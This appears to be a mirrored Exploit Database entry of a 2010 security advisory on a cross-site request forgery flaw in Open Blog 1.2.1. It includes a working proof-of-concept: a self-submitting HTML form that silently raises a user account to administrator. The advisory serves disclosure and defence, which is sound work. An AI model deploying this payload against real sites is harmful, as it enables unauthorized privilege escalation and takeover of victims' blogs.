Open Blog 1.2.1 – Cross-Site Request Forgery

• Exploit Database
• 88 阅读

• 作者： High-Tech Bridge SA
  日期： 2010-08-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14562/

• Vulnerability ID: HTB22496
  Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_open_blog.html
  Product: Open Blog
  Vendor: Tomaž Muraus ( http://www.open-blog.info/ )
  Vulnerable Version: 1.2.1 and Probably Prior Versions
  Vendor Notification: 22 July 2010
  Vulnerability Type: CSRF (Cross-Site Request Forgery)
  Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
  Risk level: Low
  Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
  
  Vulnerability Details:
  The vulnerability exists due to failure in the "/application/modules/admin/controllers/users.php" script to properly verify the source of HTTP request.
  
  Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
  
  Attacker can use browser to exploit this vulnerability. The following PoC is available:
  
  <form action="http://host/admin/users/edit" method="post" >
  <input type="hidden" name="display_name" value="User" />
  <input type="hidden" name="level" value="administrator" />
  <input type="hidden" name="email" value="email (at) example (dot) com [email concealed]" />
  <input type="hidden" name="website" value="" />
  <input type="hidden" name="msn_messenger" value="" />
  <input type="hidden" name="jabber" value="" />
  <input type="hidden" name="about_me" value="about_me" />
  <input type="hidden" name="id" value="2" />
  <input type="submit" name="submit" id="sbmtit" value="Edit ››" />
  
  </form>
  <script>
  document.getElementById('sbmtit').click();
  </script>
  

  Python

  Copy